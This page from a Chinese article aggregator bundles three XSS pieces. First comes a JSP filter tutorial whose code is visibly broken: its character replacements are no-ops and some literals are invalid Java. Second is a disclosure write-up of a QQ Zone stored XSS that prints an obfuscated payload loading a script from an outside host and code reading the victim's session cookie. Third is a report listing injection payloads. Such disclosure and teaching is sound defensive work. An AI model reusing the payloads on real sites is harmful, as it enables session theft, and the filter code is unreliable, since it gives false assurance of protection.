51阅读吧 - 为您打造专业优质的文章分享平台!
您的当前位置: 51阅读吧 >

xss漏洞解决方案|JSP过滤器防止Xss漏洞的实现方法(分享)

NO.1 JSP过滤器防止Xss漏洞的实现方法(分享)

在用java进行web业务开发的时候,对于页面上接收到的参数,除了极少数是步可预知的内容外,大量的参数名和参数值都是不会出现触发Xss漏洞的字符。而通常为了避免Xss漏洞,都是开发人员各自在页面输出和数据入库等地方加上各种各样的encode方法来避免Xss问题。而由于开发人员的水平不一,加上在编写代码的过程中安全意识的差异,可能会粗心漏掉对用户输入内容进行encode处理。针对这种大量参数是不可能出现引起Xss和SQL注入漏洞的业务场景下,因此可以使用一个适用大多数业务场景的通用处理方法,牺牲少量用户体验,来避免Xss漏洞和SQL注入。

那就是利用Servlet的过滤器机制,编写定制的XssFilter,将request请求代理,覆盖getParameter和getHeader方法将参数名和参数值里的指定半角字符,强制替换成全角字符。使得在业务层的处理时不用担心会有异常输入内容。

Filter负责将请求的request包装一下。

XssFilter.Java

 package filter; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; public class XssFilter implements Filter { public void init(FilterConfig config) throws ServletException { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper( (HttpServletRequest) request); chain.doFilter(xssRequest, response); } public void destroy() { } } 

request包装器,负责过滤掉非法的字符。

XssHttpServletRequestWrapper.java

 package filter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { HttpServletRequest orgRequest = null; public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); orgRequest = request; } /** * 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/> * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/> * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖 */ @Override public String getParameter(String name) { String value = super.getParameter(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/> * 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/> * getHeaderNames 也可能需要覆盖 */ @Override public String getHeader(String name) { String value = super.getHeader(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 将容易引起xss漏洞的半角字符直接替换成全角字符 * * @param s * @return */ private static String xssEncode(String s) { if (s == null || s.isEmpty()) { return s; } StringBuilder sb = new StringBuilder(s.length() + 16); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); switch (c) { case '>': sb.append('>');//全角大于号 break; case '<': sb.append('<');//全角小于号 break; case ''': sb.append('‘');//全角单引号 break; case '"': sb.append('“');//全角双引号 break; case '&': sb.append('&');//全角 break; case '': sb.append('\');//全角斜线 break; case '#': sb.append('#');//全角井号 break; default: sb.append(c); break; } } return sb.toString(); } /** * 获取最原始的request * * @return */ public HttpServletRequest getOrgRequest() { return orgRequest; } /** * 获取最原始的request的静态方法 * * @return */ public static HttpServletRequest getOrgRequest(HttpServletRequest req) { if(req instanceof XssHttpServletRequestWrapper){ return ((XssHttpServletRequestWrapper)req).getOrgRequest(); } return req; } } 

在web.xml中添加

 <filter> <filter-name>xssFilter</filter-name> <filter-class>filter.XssFilter</filter-class> </filter> <filter-mapping> <filter-name>xssFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 

以上这篇JSP过滤器防止Xss漏洞的实现方法(分享)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持51阅读吧。

NO.2 QQ空间存储型XSS漏洞的组合利用(图解)

1. QQ空间某处正则混乱,导致恶意构造。
2. QQ空间某文件存在潜在风险
3. 1+2 = 此漏洞
 
详细说明:

1. 一开始的目标是这个http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,这个页面是用来修改QQ空间模块内容的。这里我选择提交的是FLASH模块。 由于此请求,每请求一次都需要输入一个验证码,所以没办法直接在抓包工具里修改并发送。所以最初是用调试工具去修改DOM属性,然后写自定义值来一次一次的试,后来实在觉得太麻烦了,就自己临时写了个小工具。以下测试均用此工具进行,如下,
 
 
 
 
 
2. 开始试了此请求的几个参数(这里的参数是指qzml所发送的xml里的若干属性,例如width, height ,wmode etc ..),都被过滤了, 后来懒么,就把能写入内容的都改成了'/<>..,结果侧漏了。。
 
测试的qzml请求参数大概是这样:encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=http://files.51jianli.com/file_images/article/201206/20120531120436664.gif.swf" _fcksavedurl="http://files.51jianli.com/file_images/article/201206/20120531120436664.gif.swf"" _fcksavedurl="http://files.51jianli.com/file_images/article/201206/20120531120436664.gif.swf"" width="'/<>" height="'/<>" loop="'/<>" waitforclick="'/<>" wmode="'/<>"/></div>'.replace(/s/g,"+")).replace(/%2B/g,"+");
 
侧漏效果大概如下:(反正是类似这个效果,懒的回去抓图了。)
 
 
 
 
 
3. 开始分析侧漏原因。 发现height属性把其它属性都吞掉了。 于是其它参数复原,单个测试height,在height里加入单引号时, 服务器端的正则貌似就凌乱了。 同样有此现象的还有swfsrc 。
 
因为服务器那边是怎么匹配的,不清楚, 于是就开始各种构造测试,看服务器端输出。
 
反正测试了挺久。 具体就不详述。 因为服务器端输出的embed标签里,总是带着allowscriptaccess="never",导致我们调用的FLASH来执行脚本,所以最终目的,就是想用height来屏蔽掉allowscriptaccess="never" 。
 
测试过程中,出现了以下几种阻碍。
 
3A. allowscriptaccess="never" 成功被我们的height 吞掉, 但是src属性没了。服务器端输出如下代码:
 
<div style="height: 142px;" id="cst_flash"><embed id="flash" height=' src=http://ctc.qzs.qq.com/ac/c.gif.swf _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="' type="application/x-shockwave-flash" width="'" src="" invokeurls="false" scalemode="noScale" allowscriptaccess='always"' embed="embed" menu="false"></div>
 
3B. 自己添加了src 属性, 但是发现服务器端又自己加上了allowscriptaccess="never" 。。纠结了。服务器端输出如下代码:
 
<div style="height: 142px;" id="cst_flash"><embed id="flash" height="/<> src=http://ctc.qzs.qq.com/ac/c.gif.swf" width='&amp;"34;src = http ' src="/c.swf" allowscriptaccess="never" allownetworking="internal" invokeurls="false" autostart="true" menu="false"> autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" &gt;</div> www.51jianli.com 
4. 对于各种无厘头,有时候还是要靠运气。 在3B的代码基础上,偶然发现,如果src属性里加了',就不会出现问题。 所以我们构造src地址为/c.swf?1=''', 这样就不会出现allowscriptaccess参数了。
 
5. 但是问题接着来了,大家都知道,allowscriptaccess 默认是sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,还真有一个可以用的。 在抓包QQ空间的时候,瞥见这么一个FLASH,
 
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange
 
我一瞧, 后面这个QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是个JS函数么。 于是试了一下。
 
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
 
果然可以弹出啊。 这样看来,我们可以利用下。 不过这个ctc.qzs.qq.com 和 模块的ctc.qzonestyle.gtimg.cn 还是不是一个域啊, 但是运气好,恰好, 这2个域名,貌似资源文件是一样的,或者有部分是一样的?ctc.qzonestyle.gtimg.cn 下面也有该FLASH文件。 如下:
 
http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
 
6. 所以,我们最终可以构造出FLASH的src为
 
/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=''''
 
其中,前面是FLASH地址,onchange参数调用我们自己函数,1='''' 是为了屏蔽掉allowscriptaccess="never"
 
7. 上面这个地址我们简写为{SWFURL}, 它是位于height属性里的,如下
 
height="&quot;'/< src={SWFURL} style=width:/ >"
 
8. = = 写不下去了。。 直接上最后的测试代码。 有点乱。。有些是测试残留,没实际意义,比如里的&&#34;34; 这种。。
 
"qzml":encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=http://files.51jianli.com/file_images/article/201206/20120531120436664.gif.swf' ALLOWSCRIPTACCESS autostart=true'&#x22;u0009srcu0013=/c.swf / < >" width="&&#34;34;src = http " height="&quot;'/< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1='''' style=width:/ >" loop="true" waitforclick="true" wmode=""/></div>'.replace(/s/g,"+")).replace(/%2B/g,"+")
 
9. 上面代码会调用我自己的网站的JS。 在调用JS这一步,
 
目测IE 应该是通杀吧?IE6没试过。vista+IE7, win7+IE8,9 是可以的。
 
Chrome 也是可以的,ff 下蛋疼了,需要给加上type="application/x-shockwave-flash" 才行, 没去弄,这个属性应该也是可以加的上的。
 
10. 到这里, 可以alert, 可以跳转。
 
IE下的alert
 
 
 
 
 
Chrome下的跳转
 
 
 
  
11. 但是我们亲爱的cookies 没办法弹出来啊。
 
原因是,如前所述,模块的域是ctc.qzonestyle.gtimg.cn ,
 
而空间的域是qq.com ,没有办法跨域获取cookies。
 
不过好在,QQ空间开发人员为我们准备好了这一功能, 原理就是在当前页中,嵌入一个和父窗口同域的iframe页面,来进行通讯。
 
我们直接调用QQ空间开发人员写好的库,来获取cookies,代码如下:
 
QZONE.Cross.Client.getInstance().sendInvoke('QZFL.cookie.get', 'skey',function(str){
alert("您的skey是:"+str);
});
 
效果如下:


 
 
 
需要说明的是: 获取cookies这一步,IE下有效,chrome 貌似错误了,粗略看了下,对于跨域请求,Qzone开发人员针对HTML5和普通的采用的是不同的方案,在chrome下莫名的悲剧了。。 我只是调用了你们开发人员写的东西,= = 悲剧别找我,哈哈

修复方案:

1. 服务器端在从提交过去的qzml这段XML里获取FLASH的属性时,正则写错了? 只是猜测。
2. 目测服务器端验证qzml是否合法的正则不够好, 像width, height 这种参数,直接d{m,n}就可以吧。 貌似width ,height 属性里什么东西都可以写啊。 只在客户端限制width,height输入框长度为3,没什么实际作用的。。其它属性也一样,什么wmode只需要true|false 即可。
3. 这个http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location='钓鱼网站'} 单独就是一个漏洞。
 
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 这个被利用的flash文件需修改一下。 在FLASH限制一下onchange 参数的值。
 
作者 gainover

NO.3 XSS漏洞报告

一、什么是XSS
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性
在WEB2。0时代,强调的是互动,使得用户输入信息的机会大增,在这个情况下,我们作为开发者,在开发的时候,要提高警惕。

二、XSS攻击的主要途径
方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。

第一种:对普通的用户输入,页面原样内容输出。
打开http://go.ent.163.com/goproducttest/test.jsp(限公司IP),输入:<script>alert('xss')</script> JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key=<script>alert('xss')& lt;/script>,并对JSCODE做适当伪装,如:
http://go.ent.163.com/goproducttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其它用户当点此链接的时候,JS就运行了,造成的后果会很严重,如跳去一个有木马的页面、取得登陆用户的COOKIE等。


第二种:在代码区里有用户输入的内容
这个已经在上次跟贴漏洞讨论会上强调过了,原则就是,代码区中,绝对不应含有用户输入的东西。

第三种:允许用户输入HTML标签的页面。
意思就是,用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用""连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。

1,直接使用JS脚本。
<img src="javascript:alert('xss')" />


2,对JS脚本进行转码。
<img src="javascript:alert('xss')" />

3,利用标签的触发条件插入代码并进行转码。
<img onerror="alert('xss')" />

4,使用16进制来写(可以在傲游中运行)
<img STYLE="background-image: 75726c286a6176617363726970743a616c6572742827585353272929">

以上写法等于
<img STYLE="background-image: url(javascript:alert('XSS'))">

三、解决办法
最重要的一点,就是提高意识严格控制输入和输出。具体执行的方式有以下几点:

第一、在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等
第二、在输出方面,在用户输内容中使用<XMP>标签。标签内的内容不会解释,直接显示。
第三、严格执行字符输入字数控制。
第四、在脚本执行区中,应绝无用户输入。
上一篇:魔兽世界猎人天赋|魔兽世界6.0猎人专精天赋选择推荐 上一篇:太阳摩羯月亮处女男人|月亮摩羯座男人的择偶简谈
与该文相关的文章

温馨提示:如果您对51阅读吧有任何建议,请通过网站联系邮箱向我们反馈,感谢各位的建议与支持!